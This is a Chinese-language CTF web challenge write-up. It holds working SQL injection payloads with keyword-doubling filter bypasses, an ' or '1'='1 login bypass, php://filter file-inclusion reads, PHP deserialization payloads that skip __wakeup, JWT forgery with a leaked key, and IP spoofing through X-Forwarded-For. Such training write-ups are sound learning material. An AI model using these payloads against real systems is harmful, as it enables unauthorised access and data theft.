Web1(代碼審計)

構(gòu)造Payload:

Web2(數(shù)據(jù)提交)

發(fā)現(xiàn)需要在3s計算出一個表達式的結(jié)果,直接計算不太現(xiàn)實,可以嘗試使用Python腳本:
#coding=utf-8
import requests
import re
url="http://*.*.*.*/"
s=requests.Session()#創(chuàng)建會話
rul=re.compile('\d(.*?)\)')#匹配規(guī)則
text = re.search(rul,s.get(url).text)
if text:
exp=text.group()#匹配到結(jié)果
res=eval(exp)#計算表達式
data={"result":res}
print(s.post(url,data=data).text)#提交
Web3(文件包含)

http://ip/?op=php://filter/read/convert.base64-encode/resource=flag
讀取flag,最開始我是讀取的index.php內(nèi)容,但是發(fā)現(xiàn)一旦加上.php就會提示no such page,之后刪除.php,發(fā)現(xiàn)讀取成功。
Web4(Sql注入)

進入頁面,猜測就是sql注入,直接使用sqlmap跑,發(fā)現(xiàn)中途提示有個302重定向:
訪問鏈接得到URL。
當然也可以手注, 使用or在密碼欄構(gòu)造恒成立語句,payload:' or '1'='1 成功繞過。
Web5(暫時沒法做)
Web6(IP偽造+暴力破解)
進入是個登錄頁面:
隨便輸入,提示ip禁止訪問,再加上本地管理員,想到偽造ip:X-Forwarded-For和Client-Ip,經(jīng)過測試發(fā)現(xiàn)偽造X-Forwarded-For為本地ip可通過:

Web7(Cookie偽造)
主頁是一個登錄頁面,先嘗試隨意登錄,使用賬號admin:password






Web8(暫未更新)
Web9(PUT方法提交數(shù)據(jù))
進入頁面發(fā)現(xiàn)提示:


application/x-www-form-urlencoded主要用于表單提交,在http請求中,ContentType都是默認的值 application/x-www-form-urlencoded。
Web10(JWT)
查看源代碼發(fā)現(xiàn)提示:

使用kk:kk123進行登錄:

使用vim崩潰的話,應該會殘留swp文件,在主頁后面的文件加上swp:

<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>在線日記本</title>
<form action="" method="POST">
<p>username: <input type="text" name="username" /></p>
<p>password: <input type="password" name="password" /></p>
<input type="submit" value="login" />
</form>
<!--hint:NNVTU23LGEZDG===-->
</html>
<?php
error_reporting(0);
require_once 'src/JWT.php';
const KEY = 'L3yx----++++----';
function loginkk()
{
$time = time();
$token = [
'iss'=>'L3yx',
'iat'=>$time,
'exp'=>$time+5,
'account'=>'kk'
];
$jwt = \Firebase\JWT\JWT::encode($token,KEY);
setcookie("token",$jwt);
header("location:user.php");
}
if(isset($_POST['username']) && isset($_POST['password']) && $_POST['username']!='' && $_POST['password']!='')
{
if($_POST['username']=='kk' && $_POST['password']=='kk123')
{
loginkk();
}
else
{
echo "賬號或密碼錯誤";
}
}
?>
想簡單了解一下jwt的童鞋,可參考文章10分鐘了解JSON Web令牌從代碼可知道JWT的key,payload,所以可以通過腳本構(gòu)造賬號為L3yx的JWT:
#coding=utf-8
import requests
import re
import time
import json
import math
import hashlib
import base64
import hmac
def baseURL(date,flag=1): #flag表示傳入的是bytes類型還是字符串類型,1表示字符串
if(flag):
bs = base64.b64encode(date.encode("utf-8")) # 將字符為unicode編碼轉(zhuǎn)換為utf-8編碼
else:
bs=base64.b64encode(date)
bs=bs.decode('utf-8')
bs=bs.replace('+','-')
bs=bs.replace('/','_')
bs=bs.replace('=','')
return bs
url="http://*.*.*.*/user.php"
s=requests.session()
header={
"typ":"JWT",
"alg":"HS256"
}
iat=math.trunc(time.time()) #將時間戳轉(zhuǎn)換為整數(shù)
payloads={
"iss":"L3yx",
"iat":iat,
"exp":iat+5,
"account":"L3yx"
}
res=baseURL(json.dumps(header))+"."+baseURL(json.dumps(payloads)) #將字典轉(zhuǎn)換位json對象,并用Base64Url加密
hs=hmac.new(b'L3yx----++++----',res.encode(),digestmod=hashlib.sha256) #使用Hmac Sha256進行加密(注意函數(shù)需要的類型為byes)
sign=baseURL(hs.digest(),0)
token=res+"."+sign
cookies={'token':token}
req=s.get(url,cookies=cookies)
rul=re.compile('flag') #查找是否有flag
text = re.search(rul,req.text)
if text:
print(req.text)
因為時間差異可能需要多提交幾次:
Web11(robots.txt文件+hash碰撞)
進入頁面+查看源代碼沒發(fā)現(xiàn)什么信息,發(fā)現(xiàn)網(wǎng)頁標簽名字叫robots,嘗試訪問robots.txt:

發(fā)現(xiàn)shell.php,訪問發(fā)現(xiàn)要求輸入字符串的md5前6位為后面隨機變化的數(shù)值:

利用python腳本:
#coding=utf-8
import requests
import hashlib
import re
url="http://*.*.*.*/shell.php"
s=requests.session()
val=s.get(url)
#val.encoding='utf-8'
#print(val.text)
rul=re.compile('= (.*?)<')#匹配規(guī)則
res=re.search(rul,val.text)
if res:
tm=res.group().strip("= <")#獲取結(jié)果并去除多余的符號
for i in range(1,100000000):
m=hashlib.md5()
b = str(i).encode(encoding='utf-8')
m.update(b)
mate = m.hexdigest()
if(mate[:6]==tm):
print(s.get(url+"?password="+str(i)).text)
break
Web12(代碼審計+反序列化)
進入頁面,通過查看源代碼獲取代碼。
if(isset($_GET['rua'])){
$rua = $_GET['rua'];
@unserialize($rua);
}
首先要有參數(shù)rua,然后需要傳遞序列化串,關(guān)于序列化和反序列化的使用可參照:https://www.cnblogs.com/youyoui/p/8610068.html,
function __wakeup(){
$this->password = 1; echo 'hello hacker,I have changed your password and time, rua!';
}
因為反序列化后會先看書否有__wakeup函數(shù),這里的__wakeup函數(shù)是設(shè)置password為1,也就是說我們無論傳遞password值為多少,最后都為1(補充說一下:函數(shù)部分有__construct函數(shù),在反序列化時是不會自動調(diào)用的,在新建對象時會調(diào)用)
function __destruct(){
if(!empty($this->password))
{
if(strcmp($this->password,$this->truepassword)==0){
echo "<h1>Welcome,you need to wait......<br>The flag will become soon....</h1><br>";
if(!empty($this->time)){
if(!is_numeric($this->time)){
echo 'Sorry.<br>';
show_source(__FILE__);
}
else if($this->time < 11 * 22 * 33 * 44 * 55 * 66){
echo 'you need a bigger time.<br>';
}
else if($this->time > 66 * 55 * 44 * 33 * 23 * 11){
echo 'you need a smaller time.<br>';
}
else{
sleep((int)$this->time);
var_dump($this->flag);
}
echo '<hr>';
}
else{
echo '<h1>you have no time!!!!!</h1><br>';
}
}
else{
echo '<h1>Password is wrong............</h1><br>';
}
}
else{
echo "<h1>Please input password..........</h1><br>";
}
}
從上述代碼可知,會比較傳遞的password和truepassword的值,因為不知道truepassword為多少,所以可以通過傳遞truepassword將truepassword修改為1,然后就是判斷time,首先第一個要求是利用is_numeric判斷參數(shù)值,為true的情況有:數(shù)字和數(shù)字字符串(包括16進制和8進制,以及以科學計數(shù)法的字符串,比如“1e5”,0x開頭的字符串,注意以0開頭表示8進制的數(shù)字字符串會被當成10進制數(shù)字字符串),假如傳遞的為范圍內(nèi),即1275523920-1333502280之間的純數(shù)字,那么下面的sleep函數(shù)過后才能出flag,,,所以需要傳遞數(shù)字字符串,字符串在轉(zhuǎn)為int時,如果首位為0,int值就為0,所以傳遞范圍間的16進制數(shù),我選擇的是:1275523930,其16進制為4c06f35a
所以構(gòu)造payload:
http://.../index.php?
rua=O:4:%22Time%22:3:{s:12:%22truepassword%22;i:1;s:4:%22time%22;s:10:%220x4c06f35a%22;s:8:%22password%22;s:1:%22a%22;}
得到flag:

Web13(利用腳本快速提交)
首先查看源代碼和嘗試登陸沒發(fā)現(xiàn)有用的信息,然后抓包:

發(fā)現(xiàn)給出了Password字段,解密為:flag{32de1e4dd00f706c19cde1f78392c22f}
在輸入框提交32de1e4dd00f706c19cde1f78392c22f,提交后出來提示:

要求提交速度要快,嘗試利用腳本解決:
#encoding=utf-8
import requests
import base64
import re
url='http://*.*.*.*/index.php'
s=requests.session()
headers=s.post(url,data={'password':'123456'}).headers
mid=base64.b64decode(headers['Password'])
mid=mid.decode()
rul=re.compile('{(.*?)}')
res=re.search(rul,mid)
if res:
str=res.group().strip('{}')
print(s.post(url,data={'password':str}).text)
Web14(Git泄露)
進入頁面,查看源代碼可發(fā)現(xiàn)提示

先后嘗試了robots.txt以及御劍掃描還有可能存在的備份文件,都沒有找到有用的信息。然后在我查找有關(guān)備份信息的時候發(fā)現(xiàn)有個Kali工具:nikto,具體信息不多說網(wǎng)上都有

OK,找到突破口,Git泄露,使用GitHack工具下載文件

然后打開flag.php。
Web15(swp)
先嘗試提交數(shù)據(jù),抓包:

發(fā)現(xiàn)提示:

hint為16進制字符串-先將其轉(zhuǎn)換為ASC-Base32解碼-Base64解碼:

提交發(fā)現(xiàn)還是不對,頁面一直提示不是這里,再加上訪問index.php是302不是404,所以在index.php嘗試提交:

Web16(代碼審計+修改cookie)
最開始通過抓包之類的沒有發(fā)現(xiàn)有用的信息,然后發(fā)現(xiàn)源文件里面有個script.js文件,在瀏覽器控制臺將eval換成alert:

整理獲取到的代碼:
function getCookie(cname){ //獲取cookie值
var name=cname+"=";
var ca=document.cookie.split(';');
for(var i=0;i<ca.length;i++){
var c=ca[i].trim();
if(c.indexOf(name)==0)
return c.substring(name.length,c.length)
}
return"";
}
function decode_create(temp){ //加密算法
var base=new Base64();
var result=base.decode(temp);
var result3="";
for(i=0;i<result.length;i++){
var num=result[i].charCodeAt(); //charCodeAt() 方法可返回指定位置的字符的 Unicode 編碼
num=num^i;
num=num-((i%10)+2);
result3+=String.fromCharCode(num) //fromCharCode() 可接受一個指定的 Unicode 值,然后返回一個字符串。
}
return result3;
}
function ertqwe(){
var temp_name="user";
var temp=getCookie(temp_name);
temp=decodeURIComponent(temp);
var mingwen=decode_create(temp);
var ca=mingwen.split(';');
var key="";
for(i=0;i<ca.length;i++){
if(-1<ca[i].indexOf("flag")){
key=ca[i+1].split(":")[2]}
}
key=key.replace('"',"").replace('"',"");
document.write('<img id="attack-1" src="image/1-1.jpg">');
setTimeout(function(){document.getElementById("attack-1").src="image/1-2.jpg"},1000);
setTimeout(function(){document.getElementById("attack-1").src="image/1-3.jpg"},2000);
setTimeout(function(){document.getElementById("attack-1").src="image/1-4.jpg"},3000);
setTimeout(function(){document.getElementById("attack-1").src="image/6.png"},4000);
setTimeout(function(){alert("你使用如來神掌打敗了蒙老魔,但不知道是真身還是假身,提交試一下吧!flag{"+md5(key)+"}")},5000);
}
將最后一個方法的方法名稱去掉,復制到瀏覽器執(zhí)行:

function encode_create(temp){ //加密算法
var result3="";
for(i=0;i<temp.length;i++){
var num=temp[i].charCodeAt();
num=num+((i%10)+2);
num=num^i;
result3+=String.fromCharCode(num);
}
var base=new Base64();
var result=base.encode(result3);
return result;
}
使用函數(shù)發(fā)現(xiàn),對原序列字符串加密的結(jié)果與原字符串不同,可能Base64函數(shù)有問題,發(fā)現(xiàn)decode函數(shù)注釋掉了一行代碼



然后就買買買,打Boss,最后得flag。
Web18(SQL注入)
首先找到注入點,點擊lis發(fā)現(xiàn)url里面有個id值,添加'頁面內(nèi)容出錯,

http://*/list.php?id=0'ununionion selecselectt 1,2,database()--+

然后爆表:
http://*/list.php?id=0' ununionion selecselectt 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='web18'--+ (也可將'web18'改為database())

然后爆字段
http://*/list.php?id=0' ununionion selecselectt 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag'--+

然后爆字段值
http://*/list.php?id=0' ununionion selecselectt 1,2,flag from flag--+

Web19(未完成)
進入頁面,查看源代碼和抓包未發(fā)現(xiàn)有用信息,然后嘗試敏感目錄掃描(可以使用御劍和kali的工具nikto)

Web20(動態(tài)提交)
訪問頁面,發(fā)現(xiàn)提示:
利用腳本提交:
#coding=utf-8
import requests
import re
url="http://*.*.*.*:10020/"
s=requests.session()
rul=re.compile('[a-zA-Z0-9](.*)[0-9]')
val=s.get(url)
res=re.search(rul,val.text)
if res:
print(res.group())
url=url+"index.php?key="+res.group()
print(url)
data={'key':res.group()}
print(s.get(url).text)
Web21(php偽協(xié)議+反序列化)
進入,查看源代碼發(fā)現(xiàn)提示:

1.在自己的服務器建立一個內(nèi)容為admin的文件,然后在user輸入文件地址:


第一步判斷完成后再利用文件包含使用php偽協(xié)議讀取源碼的base64加密數(shù)據(jù),使用php://filter協(xié)議

//index.php
<?php
error_reporting(E_ALL & ~E_NOTICE);
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
echo "hello admin!<br>";
if(preg_match("/f1a9/",$file)){
exit();
}else{
include($file); //class.php
$pass = unserialize($pass);
echo $pass;
}
}else{
echo "you are not admin ! ";
}
?>
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}
class.php
<?php
error_reporting(E_ALL & ~E_NOTICE);
class Read{//f1a9.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
?>
通過代碼分析可知需要利用反序列化讀取f1a9.php,構(gòu)造payload:pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}
Web22(有問題)
Web23(驗證碼繞過)
進入查看源代碼未發(fā)現(xiàn)提示,掃描目錄發(fā)現(xiàn)文件:


Web24(代碼審計-PHP反序列化)
進入頁面發(fā)現(xiàn)是商城的展示頁面,發(fā)現(xiàn)所有的鏈接都不能點,F(xiàn)12發(fā)現(xiàn)提示:

1.將獲取到的var的base64值進行解碼;
2.反序列化,調(diào)用__wakeup函數(shù),并且不會自動調(diào)用__construct函數(shù);
3.調(diào)用__destruct函數(shù);
根據(jù)提示可知獲取flag的關(guān)鍵在于__destruct處理的$this->file值是否為the_f1ag.php,而__wakeup函數(shù)會將變量值設(shè)置為index.php,所以先繞過__wakeup函數(shù)
當序列化字符串中,表示對象屬性個數(shù)的值大于實際屬性個數(shù)時,那么就會跳過wakeup方法的執(zhí)行。舉個栗子,比如有個Student類,里面有個參數(shù)為name。
實際情況:O:7:”Student”:1:{S:4:”name”;s:8:”zhangsan”;}
Payload:O:7:”Student”:2:{S:4:”name”;s:8:”zhangsan”;}
Payload對象屬性個數(shù)為2,而實際屬性個數(shù)為1,那么就會掉入漏洞,從而跳過wakeup()方法。
構(gòu)造payload:
var=TzoxODoiU21hbGxfd2hpdGVfcmFiYml0IjoyOntzOjI0OiIAU21hbGxfd2hpdGVfcmFiYml0AGZpbGUiO3M6MTI6InRoZV9mMWFnLnBocCI7fQ==


Web25(敏感目錄+字典遍歷)
進入頁面發(fā)現(xiàn)有個下載鏈接,然后點擊發(fā)現(xiàn)有個下載字典的連接,但是點擊提示404




Web26()
Web27(XXE-未完成)
關(guān)于xxe不太了解的童鞋,可以參看文章xxe漏洞攻防學習,基于文章的基礎(chǔ)上,構(gòu)造payload,讀取源碼

流量分析
下載壓縮包,解壓,用wireshark打開:

日志審計
下載文件,使用notepad++打開,查找關(guān)鍵字flag,發(fā)現(xiàn)sqlmap對flag.php的爆破記錄:
分析可獲取flag